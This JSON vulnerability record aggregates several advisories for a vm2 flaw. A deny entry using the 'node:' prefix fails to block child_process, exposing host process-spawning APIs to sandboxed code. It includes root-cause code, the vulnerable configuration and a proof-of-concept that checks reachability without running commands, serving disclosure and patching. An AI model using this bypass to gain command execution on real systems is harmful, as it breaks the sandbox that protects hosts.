{"id":"CVE-2026-92957","aliases":["CLSA-2026-1790888247","CLSA-2026-1790937673","EUVD-2026-81606","GHSA-28q4-xrqh-9479","GHSA-8686-vhfx-7r3j","GHSA-8hr7-r645-pc6w","ROOT-APP-NPM-CVE-2026-92957"],"status":"published","title":"vm2 before 3.11.7 NodeVM Builtin Deny-List Bypass via node: Prefix","description":"vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7.","severity":{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00537,"percentile":0.45686,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-269","CWE-284"],"published":"2026-09-17T13:46:14Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.7"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.11.6-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.11.6-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.6"},{"fixed":"3.11.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.5-tuxcare.0"},{"fixed":"3.11.5-tuxcare.3"}]}],"versions":["3.11.5","3.11.5-tuxcare.1","3.11.5-tuxcare.2"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.2"}]}],"versions":["3.10.0","3.10.0-tuxcare.1"],"bundled":6},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.6-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.6-root.io.1"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92957","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-28q4-xrqh-9479"},{"url":"https://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1e","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.7","tags":["web"]},{"url":"https://github.com/advisories/GHSA-8686-vhfx-7r3j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92957.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-92957","title":"vm2 before 3.11.7 NodeVM Builtin Deny-List Bypass via node: Prefix","description":"vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7.","status":"published","published":"2026-09-17T13:46:14.875Z","modified":"2026-09-26T13:30:01.519Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T13:48:24.536396Z"}],"euvd":[{"id":"EUVD-2026-81606","description":"vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7.","status":"published","published":"2026-09-17T13:46:14Z","modified":"2026-09-26T13:30:01Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T17:27:54.622662Z"}],"ghsa":[{"id":"GHSA-28q4-xrqh-9479","title":"Duplicate Advisory: vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8686-vhfx-7r3j. This link is maintained to preserve external references.\n\n## Original Description\nvm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7. (Suggested title: \"vm2 before 3.11.7: NodeVM builtin deny-list bypass via node:-prefixed specifiers exposes child_process\")","status":"withdrawn","published":"2026-09-17T15:32:16Z","modified":"2026-10-01T15:35:49Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:41:24.739884Z"},{"id":"GHSA-8686-vhfx-7r3j","title":"vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process","description":"## Summary\n\nNodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.\n\nAs a result, this configuration:\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-node:child_process']\n  }\n});\n```\n\ndoes not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.\n\nThe safe proof below only checks module and function reachability. It does not execute any OS command.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-node:child_process']\n  }\n});\n```\n\nThis affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `makeBuiltinsFromLegacyOptions`\n  - wildcard builtin expansion\n  - exact negative entry check: `builtins.indexOf(\\`-${name}\\`)`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n  - `node:` prefix stripping before builtin load\n\n## Root Cause\n\n`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:\n\n```js\nif (localStringPrototypeStartsWith(filename, 'node:')) {\n  id = localStringPrototypeSlice(filename, 5);\n  let nmod = cacheBuiltins[id];\n  if (!nmod) {\n    nmod = loadBuiltinModule(id);\n    if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');\n    cacheBuiltins[id] = nmod;\n  }\n  return nmod;\n}\n```\n\nBut `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\n`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.\n\n## Security Boundary Crossed\n\nSandboxed code reaches a host builtin that the embedder attempted to deny.\n\nBoundary crossed:\n\n- sandbox -\u003e host `child_process` builtin\n- sandbox -\u003e host process-spawning function references\n\n## Impact\n\nConfirmed impact:\n\n- `require('child_process')` succeeds inside the sandbox.\n- `require('node:child_process')` succeeds inside the sandbox.\n- The returned module exposes `execSync` and `spawn` as functions.\n\nWorst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.\n\nThe proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.\n\n```js\n'use strict';\n\nconst { NodeVM } = require('./');\n\nfunction probe(builtin) {\n  const vm = new NodeVM({\n    require: {\n      builtin\n    }\n  });\n\n  return vm.run(`\n    const out = {};\n\n    for (const spec of ['child_process', 'node:child_process']) {\n      try {\n        const cp = require(spec);\n        out[spec] = {\n          loaded: true,\n          execSyncType: typeof cp.execSync,\n          spawnType: typeof cp.spawn,\n          moduleToStringTag: Object.prototype.toString.call(cp)\n        };\n      } catch (e) {\n        out[spec] = {\n          loaded: false,\n          name: e \u0026\u0026 e.name,\n          code: e \u0026\u0026 e.code,\n          message: e \u0026\u0026 e.message\n        };\n      }\n    }\n\n    module.exports = out;\n  `);\n}\n\nconsole.log(JSON.stringify({\n  nodeVersion: process.version,\n  denyNodePrefixed: probe(['*', '-node:child_process']),\n  denyCanonical: probe(['*', '-child_process'])\n}, null, 2));\n```\n\nObserved result:\n\n```json\n{\n  \"nodeVersion\": \"v24.14.0\",\n  \"denyNodePrefixed\": {\n    \"child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    },\n    \"node:child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    }\n  },\n  \"denyCanonical\": {\n    \"child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module 'child_process'\"\n    },\n    \"node:child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module 'node:child_process'\"\n    }\n  }\n}\n```\n\n## Expected Secure Behavior\n\n`-node:child_process` and `-child_process` should be equivalent.\n\nIf either spelling is denied, both of these should fail:\n\n```js\nrequire('child_process')\nrequire('node:child_process')\n```\n\n## Suggested Fix\n\n1. Canonicalize builtin names before allow/deny comparison:\n   - Strip `node:` from user-provided builtin entries.\n   - Preserve whether an entry is negative (`-...`) before canonicalizing.\n   - Store and compare one canonical builtin key.\n\n2. Apply the same normalization to:\n   - wildcard negative entries\n   - explicit allowlist entries\n   - object-form builtin entries\n   - mock/override keys if they are intended to support `node:` spelling\n\n3. Add regression tests:\n   - `builtin: ['*', '-node:child_process']` blocks `child_process`.\n   - `builtin: ['*', '-node:child_process']` blocks `node:child_process`.\n   - `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`.\n   - `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently.\n   - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.","status":"published","published":"2026-10-01T15:36:01Z","modified":"2026-10-01T15:36:01Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-269","CWE-284"],"updated_at":"2026-11-02T14:41:24.739884Z"}],"nvd":[{"id":"CVE-2026-92957","description":"vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7.","status":"published","published":"2026-09-17T14:18:01.813Z","modified":"2026-09-26T14:17:00.297Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:12:49.013904Z"}],"osv":[{"id":"CVE-2026-92957","title":"vm2 before 3.11.7 NodeVM Builtin Deny-List Bypass via node: Prefix","description":"vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7.","status":"published","published":"2026-09-17T13:46:14.875Z","modified":"2026-10-28T02:30:55.593438748Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:45:20.588039Z"},{"id":"GHSA-28q4-xrqh-9479","title":"Duplicate Advisory: vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8686-vhfx-7r3j. This link is maintained to preserve external references.\n\n## Original Description\nvm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7. (Suggested title: \"vm2 before 3.11.7: NodeVM builtin deny-list bypass via node:-prefixed specifiers exposes child_process\")","status":"withdrawn","published":"2026-09-17T15:32:16Z","modified":"2026-10-01T15:45:05.65440904Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:46:33.956911Z"},{"id":"GHSA-8686-vhfx-7r3j","title":"vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process","description":"## Summary\n\nNodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.\n\nAs a result, this configuration:\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-node:child_process']\n  }\n});\n```\n\ndoes not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.\n\nThe safe proof below only checks module and function reachability. It does not execute any OS command.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-node:child_process']\n  }\n});\n```\n\nThis affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `makeBuiltinsFromLegacyOptions`\n  - wildcard builtin expansion\n  - exact negative entry check: `builtins.indexOf(\\`-${name}\\`)`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n  - `node:` prefix stripping before builtin load\n\n## Root Cause\n\n`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:\n\n```js\nif (localStringPrototypeStartsWith(filename, 'node:')) {\n  id = localStringPrototypeSlice(filename, 5);\n  let nmod = cacheBuiltins[id];\n  if (!nmod) {\n    nmod = loadBuiltinModule(id);\n    if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');\n    cacheBuiltins[id] = nmod;\n  }\n  return nmod;\n}\n```\n\nBut `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\n`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.\n\n## Security Boundary Crossed\n\nSandboxed code reaches a host builtin that the embedder attempted to deny.\n\nBoundary crossed:\n\n- sandbox -\u003e host `child_process` builtin\n- sandbox -\u003e host process-spawning function references\n\n## Impact\n\nConfirmed impact:\n\n- `require('child_process')` succeeds inside the sandbox.\n- `require('node:child_process')` succeeds inside the sandbox.\n- The returned module exposes `execSync` and `spawn` as functions.\n\nWorst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.\n\nThe proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.\n\n```js\n'use strict';\n\nconst { NodeVM } = require('./');\n\nfunction probe(builtin) {\n  const vm = new NodeVM({\n    require: {\n      builtin\n    }\n  });\n\n  return vm.run(`\n    const out = {};\n\n    for (const spec of ['child_process', 'node:child_process']) {\n      try {\n        const cp = require(spec);\n        out[spec] = {\n          loaded: true,\n          execSyncType: typeof cp.execSync,\n          spawnType: typeof cp.spawn,\n          moduleToStringTag: Object.prototype.toString.call(cp)\n        };\n      } catch (e) {\n        out[spec] = {\n          loaded: false,\n          name: e \u0026\u0026 e.name,\n          code: e \u0026\u0026 e.code,\n          message: e \u0026\u0026 e.message\n        };\n      }\n    }\n\n    module.exports = out;\n  `);\n}\n\nconsole.log(JSON.stringify({\n  nodeVersion: process.version,\n  denyNodePrefixed: probe(['*', '-node:child_process']),\n  denyCanonical: probe(['*', '-child_process'])\n}, null, 2));\n```\n\nObserved result:\n\n```json\n{\n  \"nodeVersion\": \"v24.14.0\",\n  \"denyNodePrefixed\": {\n    \"child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    },\n    \"node:child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    }\n  },\n  \"denyCanonical\": {\n    \"child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module 'child_process'\"\n    },\n    \"node:child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module 'node:child_process'\"\n    }\n  }\n}\n```\n\n## Expected Secure Behavior\n\n`-node:child_process` and `-child_process` should be equivalent.\n\nIf either spelling is denied, both of these should fail:\n\n```js\nrequire('child_process')\nrequire('node:child_process')\n```\n\n## Suggested Fix\n\n1. Canonicalize builtin names before allow/deny comparison:\n   - Strip `node:` from user-provided builtin entries.\n   - Preserve whether an entry is negative (`-...`) before canonicalizing.\n   - Store and compare one canonical builtin key.\n\n2. Apply the same normalization to:\n   - wildcard negative entries\n   - explicit allowlist entries\n   - object-form builtin entries\n   - mock/override keys if they are intended to support `node:` spelling\n\n3. Add regression tests:\n   - `builtin: ['*', '-node:child_process']` blocks `child_process`.\n   - `builtin: ['*', '-node:child_process']` blocks `node:child_process`.\n   - `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`.\n   - `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently.\n   - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.","status":"published","published":"2026-10-01T15:36:01Z","modified":"2026-10-01T15:45:05.646511674Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-269","CWE-284"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"CLSA-2026-1790888247","title":"TuxCare security update for vm2 (15 CVEs)","description":"TuxCare rebuilt vm2 to address 15 CVEs. Fixed in 3.11.5-tuxcare.3.","status":"published","published":"2026-10-01T20:57:27Z","modified":"2026-10-15T09:47:57.771844817Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790937673","title":"TuxCare security update for vm2 (7 CVEs)","description":"TuxCare rebuilt vm2 to address 7 CVEs. Fixed in 3.10.0-tuxcare.2.","status":"published","published":"2026-10-02T10:41:13Z","modified":"2026-10-15T09:47:38.707369783Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"ROOT-APP-NPM-CVE-2026-92957","title":"CVE-2026-92957 in vm2 - Patched by Root","description":"Root has patched CVE-2026-92957 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T07:16:29Z","modified":"2026-10-19T08:15:06.367404414Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}
